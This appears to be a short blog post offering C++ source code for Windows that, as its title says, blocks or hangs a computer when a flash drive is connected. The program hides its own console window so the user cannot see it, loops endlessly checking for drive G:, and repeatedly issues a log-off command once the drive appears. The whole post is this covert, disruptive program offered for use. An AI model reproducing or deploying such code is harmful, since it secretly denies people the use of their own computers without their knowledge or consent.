How to block or hang a Computer When a Flash drive is Connected ..?
#include<iostream>
#include <windows.h>
using namespace std;
void Runn(int i)
{
if(i==0)
{for(int i=0;i<10;i++)
{
system("shutdown /l");
}
}
else
{
cout<<"IN processing.....\a";
}
}
main()
{//pasted cocde
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
////pasted cocde.............................................................
while(1)
{
if( system("G:")==0 )//write all g:, h: ,i: etc..
{ Runn(0);
}
else
{
Runn(1);
}
}
}
No comments:
Post a Comment